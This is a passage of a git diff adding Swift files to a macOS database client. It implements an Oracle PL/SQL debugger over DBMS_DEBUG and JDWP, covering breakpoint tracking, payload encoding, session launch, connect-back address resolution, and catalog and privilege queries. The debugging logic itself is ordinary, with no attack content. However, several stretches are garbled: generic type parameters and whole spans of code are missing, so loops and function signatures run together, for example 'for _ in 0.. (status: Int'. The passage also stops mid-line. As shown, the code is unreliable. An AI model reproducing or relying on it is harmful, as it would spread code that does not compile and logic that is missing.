+ public struct ValueRequest: Sendable, Equatable { + public let name: String + // Nil reads a package variable through its handle; otherwise DBMS_DEBUG's frame number. + public let frame: Int? + public let package: OracleDebugUnit? + + public init(name: String, frame: Int) { + self.name = name + self.frame = frame + self.package = nil + } + + public init(name: String, package: OracleDebugUnit) { + self.name = name + self.frame = nil + self.package = package + } + } + + // A name comes from the unit's source text, so request n's goes in as bind :n, never as SQL. + public static func values(_ requests: [ValueRequest]) -> (block: String, binds: [OracleBindValue]) { + let reads = requests.enumerated().map { index, request -> String in + let name = ":\(index + 1)" + if let package = request.package { + return """ + l_handle.Namespace := \(package.kind.namespace); + l_handle.Owner := \(OracleDebugUnit.literal(package.owner)); + l_handle.Name := \(OracleDebugUnit.literal(package.name)); + l_value := NULL; + l_status := SYS.DBMS_DEBUG.GET_VALUE(\(name), l_handle, l_value, NULL); + put(TO_CHAR(l_status)); + put(l_value); + """ + } + return """ + l_value := NULL; + l_status := SYS.DBMS_DEBUG.GET_VALUE(\(name), \(request.frame ?? 0), l_value, NULL); + put(TO_CHAR(l_status)); + put(l_value); + """ + } + let block = """ + DECLARE + l_handle SYS.DBMS_DEBUG.PROGRAM_INFO; + l_value VARCHAR2(32767); + l_status BINARY_INTEGER; + \(OracleDebugPayload.declarations) + BEGIN + \(reads.joined(separator: "\n")) + \(OracleDebugPayload.openCursor) + END; + """ + return (block, requests.map { .text($0.name) }) + } + + // MARK: - Answers + + public struct Frame: Sendable, Equatable { + public let owner: String? + public let name: String? + public let namespace: Int? + public let libunitType: Int? + public let line: Int? + public let entryPoint: String? + + public init(owner: String?, name: String?, namespace: Int?, libunitType: Int?, line: Int?, entryPoint: String?) { + self.owner = owner + self.name = name + self.namespace = namespace + self.libunitType = libunitType + self.line = line + self.entryPoint = entryPoint + } + + // The anonymous block that called the entry point has namespace 0 and no name. + public var unit: OracleDebugUnit? { + guard let owner, let name, !name.isEmpty, let namespace, + let kind = OracleDebugUnitKind(namespace: namespace, libunitType: libunitType ?? -1) + else { return nil } + return OracleDebugUnit(owner: owner, name: name, kind: kind) + } + } + + public struct Event: Sendable, Equatable { + public let status: Int + public let reason: Int? + public let terminated: Bool + public let line: Int? + public let breakpoint: Int? + // Oldest first, as PRINT_BACKTRACE numbers them: GET_VALUE's frame number is this index plus one. + public let backtrace: [Frame] + + public var timedOut: Bool { status == Status.timeout } + public var isPause: Bool { status == Status.success && !terminated } + } + + public static func event(fromPayload fields: [String?]) throws -> Event { + var reader = OracleDebugPayloadReader(fields) + let status = try reader.int() ?? -1 + let reason = try reader.int() + let terminated = (try reader.int() ?? 0) != 0 + let line = try reader.int() + let breakpoint = try reader.int() + let count = try reader.int() ?? 0 + var frames: [Frame] = [] + for _ in 0.. (status: Int, number: Int?) { + var reader = OracleDebugPayloadReader(fields) + return (try reader.int() ?? -1, try reader.int()) + } + + public static func valueAnswers(fromPayload fields: [String?], count: Int) throws -> [(status: Int, value: String?)] { + var reader = OracleDebugPayloadReader(fields) + var answers: [(status: Int, value: String?)] = [] + for _ in 0.. OracleDebugValue? { + switch status { + case Status.success: return .scalar(text) + case Status.nullValue, Status.nullCollection: return .scalar(nil) + case Status.indexedTable: return .collection(count: nil) + default: return nil + } + } + + // Line N is executable when bit N mod 8 of byte N / 8 is set (the package's own description). + public static func executableLines(fromPayload fields: [String?]) throws -> [Int]? { + var reader = OracleDebugPayloadReader(fields) + guard try reader.int() == Status.success else { return nil } + let maxLine = try reader.int() ?? 0 + let hex = try reader.next() ?? "" + return executableLines(hexMap: hex, maxLine: maxLine) + } + + public static func executableLines(hexMap hex: String, maxLine: Int) -> [Int] { + var bytes: [UInt8] = [] + var index = hex.startIndex + while index < hex.endIndex, let next = hex.index(index, offsetBy: 2, limitedBy: hex.endIndex) { + if let byte = UInt8(hex[index..= 1 else { return [] } + var lines: [Int] = [] + for line in 1...last where bytes[line / 8] & (1 << UInt8(line % 8)) != 0 { + lines.append(line) + } + return lines + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift new file mode 100644 index 0000000000..23d8da4376 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugBreakpointHolds.swift @@ -0,0 +1,33 @@ +import Foundation + +// The lines a caller removes each breakpoint by, keyed by the line it landed on. One sent at start is held by the line +// it asked for, since its caller never learns where it landed; one set later, by the line `setBreakpoint` answered. +struct OracleDebugBreakpointHolds { + private var holders: [OracleDebugUnit: [Int: Set]] = [:] + + mutating func hold(_ landed: Int, in unit: OracleDebugUnit, by line: Int) { + holders[unit, default: [:]][landed, default: []].insert(line) + } + + // A pending JDWP breakpoint lands again once its unit loads, possibly on a later line. + mutating func move(_ landed: Int, to line: Int, in unit: OracleDebugUnit) { + guard line != landed, let held = holders[unit]?.removeValue(forKey: landed) else { return } + holders[unit, default: [:]][line, default: []].formUnion(held) + } + + mutating func drop(_ landed: Int, in unit: OracleDebugUnit) { + holders[unit]?[landed] = nil + } + + // The landed line of the breakpoint `line` names, once no other line holds it; nil while one still does. + mutating func release(_ line: Int, in unit: OracleDebugUnit) -> Int? { + guard let landed = holders[unit]?.first(where: { $0.value.contains(line) })?.key else { + drop(line, in: unit) + return line + } + holders[unit]?[landed]?.remove(line) + guard holders[unit]?[landed]?.isEmpty == true else { return nil } + drop(landed, in: unit) + return landed + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift new file mode 100644 index 0000000000..b0c4cd6f20 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugChannel.swift @@ -0,0 +1,16 @@ +import Foundation + +// A database session a debug engine sends its statements on: the target, the DBMS_DEBUG supervisor or the JDWP helper. +protocol OracleDebugChannel: AnyObject, Sendable { + func executeDirect(_ sql: String, binds: [OracleBindValue], autoCommit: Bool, readsRows: Bool) async throws -> [String?] + func executeQuery(_ query: String) async throws -> OracleRawResult + func cancelCurrentQuery() +} + +extension OracleDebugChannel { + func executeDirect(_ sql: String, binds: [OracleBindValue] = [], readsRows: Bool = false) async throws -> [String?] { + try await executeDirect(sql, binds: binds, autoCommit: false, readsRows: readsRows) + } +} + +extension OracleCoreConnection: OracleDebugChannel {} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift new file mode 100644 index 0000000000..58f242c9eb --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugLauncher.swift @@ -0,0 +1,263 @@ +import Foundation +import os +import OSLog + +private let logger = Logger(subsystem: "com.TablePro", category: "OracleDebugLauncher") + +public struct OracleDebugLaunch: Sendable { + public let entryPoint: OracleDebugEntryPoint + public let arguments: [String: OracleDebugArgumentValue] + public let breakpoints: [OracleDebugBreakpointRequest] + public let preference: OracleDebugProtocolPreference + public let debuggerHost: String + public let ports: ClosedRange + // The host the sessions dial, and any other name the server may connect back from (the server behind a tunnel). + public let databaseHost: String + public let databasePort: Int + public let otherDatabaseHosts: [String] + // Every overload of the entry point's subprogram, to refuse a call Oracle could not resolve. + public let overloads: [OracleDebugEntryPoint] + // How long the database gets to connect back before JDWP counts as unreachable. + public let connectTimeout: Duration + + public init( + entryPoint: OracleDebugEntryPoint, + arguments: [String: OracleDebugArgumentValue], + breakpoints: [OracleDebugBreakpointRequest], + preference: OracleDebugProtocolPreference, + debuggerHost: String, + ports: ClosedRange, + databaseHost: String, + databasePort: Int, + otherDatabaseHosts: [String] = [], + overloads: [OracleDebugEntryPoint] = [], + connectTimeout: Duration = .seconds(15) + ) { + self.entryPoint = entryPoint + self.arguments = arguments + self.breakpoints = breakpoints + self.preference = preference + self.debuggerHost = debuggerHost + self.ports = ports + self.databaseHost = databaseHost + self.databasePort = databasePort + self.otherDatabaseHosts = otherDatabaseHosts + self.overloads = overloads + self.connectTimeout = connectTimeout + } +} + +public struct OracleDebugBreakpointRequest: Sendable, Hashable { + public let unit: OracleDebugUnit + public let line: Int + + public init(unit: OracleDebugUnit, line: Int) { + self.unit = unit + self.line = line + } +} + +public enum OracleDebugLauncher { + // Two sessions either way: JDWP's target plus one that reads source, DBMS_DEBUG's target plus its supervisor. + // Cancelling the calling task ends whatever target exists, as Stop would, and throws CancellationError. + public static func launch( + _ launch: OracleDebugLaunch, + openSession: @escaping @Sendable () async throws -> OracleCoreConnection + ) async throws -> any OracleDebugEngine { + try Task.checkCancellation() + if OracleDebugProtocolDecision.initial(preference: launch.preference, host: launch.debuggerHost) == .fail { + throw OracleDebugError.jdwp(.noDebuggerHost) + } + switch OracleDebugStatements.ambiguity(of: launch.entryPoint, arguments: launch.arguments, overloads: launch.overloads) { + case .needsValue(let parameters): + throw OracleDebugError.ambiguousDefaults(subprogram: launch.entryPoint.entry.subprogram, parameters: parameters) + case .unresolvable: + throw OracleDebugError.ambiguousCall(subprogram: launch.entryPoint.entry.subprogram) + case nil: + break + } + let invocation: OracleDebugStatements.Invocation + do { + invocation = try OracleDebugStatements.invocation(of: launch.entryPoint, arguments: launch.arguments) + } catch OracleDebugStatements.InvocationError.unsupportedArgument(let name, let typeName) { + throw OracleDebugError.unsupportedArgument(name: name, typeName: typeName) + } catch OracleDebugStatements.InvocationError.undeclarableArgument(let name, let typeName) { + throw OracleDebugError.undeclarableArgument(name: name, typeName: typeName) + } catch OracleDebugStatements.InvocationError.undeclarableResult(let typeName) { + throw OracleDebugError.undeclarableArgument(name: launch.entryPoint.entry.subprogram, typeName: typeName) + } + let helper = try await reserved(openSession) + var target = try await reserved(openSession) + let breakpoints = launch.breakpoints.map { (unit: $0.unit, line: $0.line) } + var notices: [OracleDebugNotice] = [] + + switch OracleDebugProtocolDecision.initial(preference: launch.preference, host: launch.debuggerHost) { + case .dbmsDebug(let reason): + notices.append(.usingDBMSDebug(reason: reason)) + default: + do { + let session = try await startJDWP(launch, invocation: invocation, target: target, helper: helper, breakpoints: breakpoints) + return try await keep(session) + } catch let failure as JDWPStartFailure { + switch OracleDebugProtocolDecision.afterJDWPFailure(failure.reason, preference: launch.preference) { + case .fallBack: + logger.notice("JDWP did not connect; falling back to DBMS_DEBUG") + notices.append(.fellBack(failure.reason, host: launch.debuggerHost, port: Int(failure.port ?? 0))) + try Task.checkCancellation() + if failure.endedTarget || !target.isConnected { + target = try await reserved(openSession) + } + default: + throw OracleDebugError.jdwp(failure.reason) + } + } + } + + let session = OracleDBMSDebugSession( + target: target, + supervisor: helper, + entryPoint: launch.entryPoint, + invocation: invocation, + notices: notices + ) + do { + try await session.start(breakpoints: breakpoints) + } catch { + if Task.isCancelled { + _ = await session.stop() + throw CancellationError() + } + throw mapped(error) + } + return try await keep(session) + } + + // A start the caller cancelled hands back no session, so the target ends here. + private static func keep(_ engine: any OracleDebugEngine) async throws -> any OracleDebugEngine { + guard Task.isCancelled else { return engine } + _ = await engine.stop() + throw CancellationError() + } + + private static func reserved(_ openSession: @Sendable () async throws -> OracleCoreConnection) async throws -> OracleCoreConnection { + let connection = try await openSession() + connection.reserveForDebugging() + return connection + } + + struct JDWPStartFailure: Error { + let reason: OracleJDWPFailure + let port: UInt16? + var endedTarget = false + } + + // The addresses a connection back may come from: the server's own, and for a tunnel this Mac's loopback, where a + // remote forward the person set up arrives. + static func allowedPeers(for launch: OracleDebugLaunch) async -> Set { + var allowed: Set = [] + for host in [launch.databaseHost] + launch.otherDatabaseHosts { + allowed.formUnion(await OracleDebugNetwork.resolvedAddresses(of: host)) + } + return allowed + } + + private static func startJDWP( + _ launch: OracleDebugLaunch, + invocation: OracleDebugStatements.Invocation, + target: OracleCoreConnection, + helper: OracleCoreConnection, + breakpoints: [(unit: OracleDebugUnit, line: Int)] + ) async throws -> OracleJDWPDebugSession { + let allowed = await allowedPeers(for: launch) + let bindAddresses = await OracleDebugNetwork.bindAddresses( + debuggerHost: launch.debuggerHost, + databaseHost: launch.databaseHost, + databasePort: launch.databasePort + ) + let listener: OracleJDWPListener + do { + listener = try await OracleJDWPListener.open(ports: launch.ports, bindAddresses: bindAddresses, allowedPeers: allowed) + } catch { + throw JDWPStartFailure(reason: .noFreePort, port: nil) + } + let port = listener.port + let identity = await OracleDebugSupport.sessionIdentity(of: target) + let connectCall = Task { () -> Result<[String?], Error> in + do { + return .success(try await target.executeDirect( + OracleDebugStatements.jdwpConnect, + binds: [.text(launch.debuggerHost), .text(String(port))] + )) + } catch { + return .failure(error) + } + } + // A refused CONNECT_TCP ends the wait at once; one that hangs on an unreachable host is cut at the timeout. + let watcher = Task { + if case .failure = await connectCall.value { listener.cancel() } + } + defer { watcher.cancel() } + let connection: OracleJDWPConnection + do { + connection = try await listener.accept(timeout: launch.connectTimeout) + } catch { + listener.cancel() + let rejected = listener.rejectedPeers + if let result = await OracleDebugSupport.value(of: connectCall, within: 1), case .failure(let error) = result { + if Task.isCancelled { throw CancellationError() } + let reason = rejected.isEmpty + ? OracleDebugStatements.jdwpFailure(fromMessage: message(of: error)) + : .unexpectedPeer(rejected) + throw JDWPStartFailure(reason: reason, port: port) + } + // The statement is still waiting on the network; closing the channel is the only way to end it. + target.cancelCurrentQuery() + _ = await OracleDebugSupport.value(of: connectCall, within: 5) + if Task.isCancelled { throw CancellationError() } + throw JDWPStartFailure(reason: rejected.isEmpty ? .timedOut : .unexpectedPeer(rejected), port: port, endedTarget: true) + } + let session = OracleJDWPDebugSession( + connection: connection, + target: target, + helper: helper, + entryPoint: launch.entryPoint, + invocation: invocation, + connectCall: connectCall, + targetIdentity: identity, + notices: [.connectedOverJDWP(host: launch.debuggerHost, port: Int(port))] + ) + do { + try await session.start(breakpoints: breakpoints) + } catch { + // Closing the JDWP socket ends the target session. + _ = await session.stop() + if Task.isCancelled { throw CancellationError() } + if let failure = error as? OracleDebugError { + switch failure { + case .jdwp(let reason): + throw JDWPStartFailure(reason: reason, port: port, endedTarget: true) + case .malformedReply, .debuggerStoppedAnswering, .ended: + throw JDWPStartFailure(reason: .handshakeFailed, port: port, endedTarget: true) + default: + break + } + } + throw JDWPStartFailure(reason: .other(message(of: error)), port: port, endedTarget: true) + } + return session + } + + static func message(of error: Error) -> String { + OracleDebugSupport.message(of: error) + } + + // ORA-01031 from INITIALIZE or CONNECT_TCP is the missing DEBUG CONNECT SESSION (measured). + static func mapped(_ error: Error) -> Error { + guard let core = error as? OracleCoreError, case .queryFailed(let message) = core else { return error } + let codes = OracleDebugStatements.errorCodes(in: message) + if codes.first == 1_031 { + return OracleDebugError.privilegeMissing(message) + } + return OracleDebugError.server(code: codes.first, message: message) + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift new file mode 100644 index 0000000000..12cccb8cd6 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugNetwork.swift @@ -0,0 +1,134 @@ +import Darwin +import Foundation + +public enum OracleDebugNetwork { + // The address this Mac sends from to reach the database: a connected UDP socket picks the route and sends nothing. + // It is where a server on the same network can reach back; a NAT, VPN or container can still need another. + public static func localAddress(towardHost host: String, port: Int) async -> String? { + await withCheckedContinuation { continuation in + DispatchQueue.global(qos: .userInitiated).async { + continuation.resume(returning: resolveLocalAddress(towardHost: host, port: port)) + } + } + } + + // One spelling per address: no IPv6 zone, an IPv4-mapped IPv6 address as IPv4, lowercase hex. + public static func normalized(_ address: String) -> String { + var text = address.lowercased() + if let zone = text.firstIndex(of: "%") { text = String(text[.. Set { + await withCheckedContinuation { continuation in + DispatchQueue.global(qos: .userInitiated).async { + continuation.resume(returning: resolve(host)) + } + } + } + + static func resolve(_ host: String) -> Set { + var hints = addrinfo() + hints.ai_socktype = SOCK_STREAM + hints.ai_family = AF_UNSPEC + var list: UnsafeMutablePointer? + guard !host.isEmpty, getaddrinfo(host, nil, &hints, &list) == 0, let list else { return [] } + defer { freeaddrinfo(list) } + var addresses: Set = [] + var entry: UnsafeMutablePointer? = list + while let current = entry { + if let address = numericHost(current.pointee.ai_addr, length: current.pointee.ai_addrlen) { + addresses.insert(normalized(address)) + } + entry = current.pointee.ai_next + } + return addresses + } + + public static func localInterfaceAddresses() -> Set { + var list: UnsafeMutablePointer? + guard getifaddrs(&list) == 0, let list else { return [] } + defer { freeifaddrs(list) } + var addresses: Set = [] + var entry: UnsafeMutablePointer? = list + while let current = entry { + if let address = current.pointee.ifa_addr { + let family = Int32(address.pointee.sa_family) + if family == AF_INET || family == AF_INET6, + let text = numericHost(address, length: socklen_t(address.pointee.sa_len)) { + addresses.insert(normalized(text)) + } + } + entry = current.pointee.ifa_next + } + return addresses + } + + // The local addresses the listener binds: the Debugger Host when it names this Mac, else the address this Mac + // reaches the database from, which is where a server on that network connects back to. A loopback route binds + // 127.0.0.1: `localhost` resolves to ::1 first, but Docker Desktop delivers a container's connection on + // 127.0.0.1 (measured), and Network.framework refuses ::1 on a port 127.0.0.1 holds (EADDRINUSE, measured), so + // the two cannot share the one port CONNECT_TCP is given. Nil listens everywhere. + public static func bindAddresses(debuggerHost: String, databaseHost: String, databasePort: Int) async -> [String]? { + let local = localInterfaceAddresses() + let named = await resolvedAddresses(of: debuggerHost).filter { local.contains($0) } + if named.contains("127.0.0.1") { + return ["127.0.0.1"] + } + if let match = named.min() { + return [match] + } + guard let route = await localAddress(towardHost: databaseHost, port: databasePort).map(normalized) else { return nil } + return isLoopback(route) ? ["127.0.0.1"] : [route] + } + + public static func isLoopback(_ address: String) -> Bool { + let text = normalized(address) + return text == "::1" || text.hasPrefix("127.") + } + + static func numericHost(_ address: UnsafePointer, length: socklen_t) -> String? { + var buffer = [CChar](repeating: 0, count: Int(NI_MAXHOST)) + guard getnameinfo(address, length, &buffer, socklen_t(buffer.count), nil, 0, NI_NUMERICHOST) == 0 else { return nil } + let bytes = buffer.prefix { $0 != 0 }.map { UInt8(bitPattern: $0) } + return String(bytes: bytes, encoding: .utf8) + } + + static func resolveLocalAddress(towardHost host: String, port: Int) -> String? { + var hints = addrinfo() + hints.ai_socktype = SOCK_DGRAM + hints.ai_family = AF_UNSPEC + var list: UnsafeMutablePointer? + guard getaddrinfo(host, String(port), &hints, &list) == 0, let list else { return nil } + defer { freeaddrinfo(list) } + var entry: UnsafeMutablePointer? = list + while let current = entry { + defer { entry = current.pointee.ai_next } + let socketDescriptor = socket(current.pointee.ai_family, SOCK_DGRAM, IPPROTO_UDP) + guard socketDescriptor >= 0 else { continue } + defer { close(socketDescriptor) } + guard connect(socketDescriptor, current.pointee.ai_addr, current.pointee.ai_addrlen) == 0 else { continue } + var storage = sockaddr_storage() + var length = socklen_t(MemoryLayout.size) + let named = withUnsafeMutablePointer(to: &storage) { pointer in + pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { getsockname(socketDescriptor, $0, &length) } + } + guard named == 0 else { continue } + var buffer = [CChar](repeating: 0, count: Int(NI_MAXHOST)) + let printed = withUnsafePointer(to: &storage) { pointer in + pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { + getnameinfo($0, length, &buffer, socklen_t(buffer.count), nil, 0, NI_NUMERICHOST) + } + } + guard printed == 0 else { continue } + let bytes = buffer.prefix { $0 != 0 }.map { UInt8(bitPattern: $0) } + guard let address = String(bytes: bytes, encoding: .utf8) else { continue } + // An IPv6 link-local address carries its interface after `%`, which the server has no use for. + return address.split(separator: "%").first.map(String.init) ?? address + } + return nil + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift new file mode 100644 index 0000000000..ab03ec7437 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugPayload.swift @@ -0,0 +1,108 @@ +import Foundation + +// What a debug block hands back: fields written as `:`, or `~` for NULL, read through a cursor of +// pieces. Out binds cap a VARCHAR2 at 4000 bytes, and a SQL VARCHAR2 over 4000 bytes fails the fetch with ORA-00910 +// (OracleServerOutput), so the block gathers the fields into a CLOB and the cursor reads it 990 characters at a time. +public enum OracleDebugPayload { + public static let cursorBindName = "rows" + static let pieceLength = 990 + // A field longer than this is cut, so `length:text` stays inside one VARCHAR2(32767) at four bytes a character. + public static let fieldLimit = 8_000 + + public enum ParseError: Error, Sendable, Equatable { + case malformed(offset: Int) + } + + public static let declarations = """ + l_out CLOB; + l_chunk VARCHAR2(32767); + PROCEDURE put(p VARCHAR2) IS + l_piece VARCHAR2(32767); + BEGIN + IF p IS NULL THEN + l_piece := '~'; + ELSE + l_piece := LENGTH(SUBSTR(p, 1, \(fieldLimit))) || ':' || SUBSTR(p, 1, \(fieldLimit)); + END IF; + IF NVL(LENGTHB(l_chunk), 0) + LENGTHB(l_piece) > 32000 THEN + l_out := l_out || l_chunk; + l_chunk := NULL; + END IF; + l_chunk := l_chunk || l_piece; + END; + """ + + public static let openCursor = """ + IF l_chunk IS NOT NULL THEN + l_out := l_out || l_chunk; + END IF; + OPEN :\(cursorBindName) FOR + SELECT TO_CHAR(SUBSTR(l_out, (LEVEL - 1) * \(pieceLength) + 1, \(pieceLength))) + FROM SYS.DUAL + CONNECT BY LEVEL <= GREATEST(CEIL(NVL(LENGTH(l_out), 0) / \(pieceLength)), 1); + """ + + public static func join(pieces: [String?]) -> String { + pieces.map { $0 ?? "" }.joined() + } + + // Lengths count characters as Oracle's LENGTH does in AL32UTF8, one per Unicode scalar. + public static func parse(_ text: String) throws -> [String?] { + let scalars = Array(text.unicodeScalars) + var fields: [String?] = [] + var position = 0 + while position < scalars.count { + if scalars[position] == "~" { + fields.append(nil) + position += 1 + continue + } + var length = 0 + var digits = 0 + // A field never exceeds `fieldLimit`, so more than nine digits is not a length this side wrote. + while position < scalars.count, (48...57).contains(scalars[position].value) { + guard digits < 9 else { throw ParseError.malformed(offset: position) } + length = length * 10 + Int(scalars[position].value - 48) + digits += 1 + position += 1 + } + guard digits > 0, position < scalars.count, scalars[position] == ":" else { + throw ParseError.malformed(offset: position) + } + position += 1 + guard length <= scalars.count - position else { throw ParseError.malformed(offset: position) } + var field = String.UnicodeScalarView() + field.append(contentsOf: scalars[position.. String { + fields.map { field in + guard let field else { return "~" } + return "\(field.unicodeScalars.count):\(field)" + }.joined() + } +} + +struct OracleDebugPayloadReader { + private var fields: ArraySlice + + init(_ fields: [String?]) { + self.fields = fields[...] + } + + var isAtEnd: Bool { fields.isEmpty } + + mutating func next() throws -> String? { + guard let field = fields.popFirst() else { throw OracleDebugError.unreadableAnswer } + return field + } + + mutating func int() throws -> Int? { + try next().flatMap { Int($0.trimmingCharacters(in: .whitespaces)) } + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift new file mode 100644 index 0000000000..3daf338180 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDebugStatements.swift @@ -0,0 +1,665 @@ +import Foundation + +public enum OracleDebugStatements { + // MARK: - Catalog + + public static func targets(owner: String) -> String { + """ + SELECT OBJECT_NAME, OBJECT_TYPE + FROM SYS.ALL_OBJECTS + WHERE OWNER = \(OracleDebugUnit.literal(owner)) + AND OBJECT_TYPE IN ('PROCEDURE', 'FUNCTION', 'PACKAGE BODY') + ORDER BY OBJECT_TYPE, OBJECT_NAME + """ + } + + // Debug information exists when the unit was compiled with PLSQL_DEBUG or at PLSQL_OPTIMIZE_LEVEL 1 or lower. + // At level 2 SET_BREAKPOINT still answers success and never fires (measured). + public static func readiness(of unit: OracleDebugUnit) -> String { + """ + SELECT PLSQL_OPTIMIZE_LEVEL, PLSQL_DEBUG + FROM SYS.ALL_PLSQL_OBJECT_SETTINGS + WHERE OWNER = \(OracleDebugUnit.literal(unit.owner)) + AND NAME = \(OracleDebugUnit.literal(unit.name)) + AND TYPE = \(OracleDebugUnit.literal(unit.codeUnit.kind.rawValue)) + """ + } + + public enum Readiness: Sendable, Equatable { + case ready + case needsDebugCompile + case notVisible + } + + public static func readiness(fromRow row: [String?]?) -> Readiness { + guard let row else { return .notVisible } + let level = row.first.flatMap { $0 }.flatMap { Int($0.trimmingCharacters(in: .whitespaces)) } + let debug = (row.count > 1 ? row[1] : nil)?.uppercased() == "TRUE" + if debug { return .ready } + if let level, level <= 1 { return .ready } + return .needsDebugCompile + } + + public static func privileges(of unit: OracleDebugUnit) -> String { + """ + SELECT SYS_CONTEXT('USERENV', 'SESSION_USER'), + (SELECT COUNT(*) FROM SYS.SESSION_PRIVS WHERE PRIVILEGE = 'DEBUG CONNECT SESSION'), + (SELECT COUNT(*) FROM SYS.SESSION_PRIVS WHERE PRIVILEGE = 'DEBUG ANY PROCEDURE'), + (SELECT COUNT(*) FROM SYS.ALL_TAB_PRIVS + WHERE TABLE_SCHEMA = \(OracleDebugUnit.literal(unit.owner)) + AND TABLE_NAME = \(OracleDebugUnit.literal(unit.name)) + AND PRIVILEGE = 'DEBUG') + FROM SYS.DUAL + """ + } + + public enum MissingPrivilege: Sendable, Equatable { + case debugConnectSession(user: String) + case debugOnObject(user: String) + } + + public static func missingPrivilege(fromRow row: [String?], unit: OracleDebugUnit) -> MissingPrivilege? { + func count(_ index: Int) -> Int { + (row.count > index ? row[index] : nil).flatMap { Int($0.trimmingCharacters(in: .whitespaces)) } ?? 0 + } + let user = (row.first ?? nil) ?? "" + if count(1) == 0 { return .debugConnectSession(user: user) } + if unit.owner != user, count(2) == 0, count(3) == 0 { return .debugOnObject(user: user) } + return nil + } + + // One row per public subprogram and argument; a subprogram without arguments comes back once with NULLs. + public static func entryPoints(of unit: OracleDebugUnit) -> String { + let owner = OracleDebugUnit.literal(unit.owner) + let name = OracleDebugUnit.literal(unit.name) + let subprograms: String + if unit.kind.hasSubprograms { + subprograms = "p.OBJECT_TYPE = 'PACKAGE' AND p.PROCEDURE_NAME IS NOT NULL" + } else { + subprograms = "p.OBJECT_TYPE IN ('PROCEDURE', 'FUNCTION') AND p.PROCEDURE_NAME IS NULL" + } + return """ + SELECT NVL(p.PROCEDURE_NAME, p.OBJECT_NAME), p.SUBPROGRAM_ID, p.OVERLOAD, + a.POSITION, a.ARGUMENT_NAME, a.DATA_TYPE, a.IN_OUT, a.DEFAULTED, + a.TYPE_OWNER, a.TYPE_NAME, a.TYPE_SUBNAME, a.PLS_TYPE + FROM SYS.ALL_PROCEDURES p + LEFT JOIN SYS.ALL_ARGUMENTS a + ON a.OBJECT_ID = p.OBJECT_ID AND a.SUBPROGRAM_ID = p.SUBPROGRAM_ID AND a.DATA_LEVEL = 0 + WHERE p.OWNER = \(owner) AND p.OBJECT_NAME = \(name) AND \(subprograms) + ORDER BY p.SUBPROGRAM_ID, a.SEQUENCE + """ + } + + public static func parseEntryPoints(rows: [[String?]], unit: OracleDebugUnit) -> [OracleDebugEntryPoint] { + var order: [Int] = [] + var byID: [Int: (name: String, overload: String?, parameters: [OracleDebugParameter], result: OracleDebugParameter?)] = [:] + for row in rows { + func cell(_ index: Int) -> String? { row.count > index ? row[index] : nil } + guard let name = cell(0), let subprogramID = cell(1).flatMap({ Int($0.trimmingCharacters(in: .whitespaces)) }) + else { continue } + if byID[subprogramID] == nil { + order.append(subprogramID) + byID[subprogramID] = (name, cell(2), [], nil) + } + guard let dataType = cell(5), !dataType.isEmpty else { continue } + let parameter = OracleDebugParameter( + name: cell(4) ?? "", + position: cell(3).flatMap { Int($0.trimmingCharacters(in: .whitespaces)) } ?? 0, + dataType: dataType, + mode: OracleDebugParameter.Mode(inOut: cell(6)), + hasDefault: cell(7)?.uppercased() == "Y", + typeOwner: cell(8), + typeName: cell(9), + typeSubname: cell(10), + plsType: cell(11) + ) + if parameter.position == 0, cell(4) == nil { + byID[subprogramID]?.result = parameter + } else { + byID[subprogramID]?.parameters.append(parameter) + } + } + return order.compactMap { id in + guard let entry = byID[id] else { return nil } + return OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: unit.codeUnit, subprogram: entry.name, subprogramID: id), + overload: entry.overload, + parameters: entry.parameters, + result: entry.result + ) + } + } + + public static func source(of unit: OracleDebugUnit) -> String { + """ + SELECT LINE, TEXT + FROM SYS.ALL_SOURCE + WHERE OWNER = \(OracleDebugUnit.literal(unit.owner)) + AND NAME = \(OracleDebugUnit.literal(unit.name)) + AND TYPE = \(OracleDebugUnit.literal(unit.kind.rawValue)) + ORDER BY LINE + """ + } + + // Lines stay where ALL_SOURCE numbers them, because both debug interfaces report those numbers. + public static func assembleSource(rows: [(line: Int, text: String?)]) -> String { + var lines: [String] = [] + for row in rows.sorted(by: { $0.line < $1.line }) where row.line >= 1 { + while lines.count < row.line - 1 { + lines.append("") + } + var text = row.text ?? "" + // "\r\n" is one Character, so dropping the last Character removes either ending whole. + if text.last?.isNewline == true { + text.removeLast() + } + if lines.count == row.line - 1 { + lines.append(text) + } else { + lines[row.line - 1] += text + } + } + return lines.joined(separator: "\n") + } + + // MARK: - JDWP + + // Through EXECUTE IMMEDIATE of a CALL, so `SYS` resolves at SQL level and a package named SYS in the session's + // schema cannot capture it (OracleServerOutput explains the measurement). + public static let jdwpConnect = """ + BEGIN + EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG_JDWP.CONNECT_TCP(:1, :2)' USING :1, :2; + END; + """ + + // "4000-4999" or "4000": a range, as the DBA's ACE grants one. A list is refused rather than read as the range + // between its first two ports, which would pick ports the ACE does not cover. SQL Developer's default is 4000-4999. + public static func ports(from text: String) -> ClosedRange? { + let parts = text.split(separator: 